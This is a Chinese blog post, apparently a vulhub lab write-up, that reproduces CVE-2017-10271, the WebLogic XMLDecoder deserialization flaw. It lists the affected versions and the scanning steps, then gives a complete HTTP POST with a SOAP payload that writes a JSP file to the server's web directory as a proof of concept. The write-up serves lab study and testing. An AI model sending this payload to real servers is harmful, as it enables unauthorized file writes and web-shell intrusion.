CVE-2017-10271(WebLogic XMLDecoder反序列化漏洞)

原创已于 2022-07-29 17:42:54 修改 · 5.3k 阅读

13 ·

CC 4.0 BY-SA版权

文章标签：

#servlet #java #开发语言

于 2022-07-29 17:42:01 首次发布

最近在打vulhub的靶场记录一下，我是小菜鸡一个，不对的地方还请指教。废话不多说开始。

原因：

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务，其中使用了XMLDecoder来解析用户传入的XML数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

影响版本：

10.3.6.0.0

12.1.3.0.0

12.2.1.1.0

12.2.1.2.0

复现过程：

一、使用sudo nmap -Pn -v -sV 192.168.88.132，扫描目标的服务及版本：

二、使用工具进行扫描：

https://github.com/rabbitmask/WeblogicScan

https://gitee.com/omg2019/WeblogicScan-1 —>推荐

存在cve-2017-10271漏洞

三、访问Ip:7001/wls-wsat/CoordinatorPortType11出现以下内容可能存在漏洞。

四、访问页面使用burp进行抓包，将数据包修改，点击上传显示500说明写入成功，访问http://ip:7001/bea_wls_internal/c.jsp，正常显示写入的文本。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/c.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>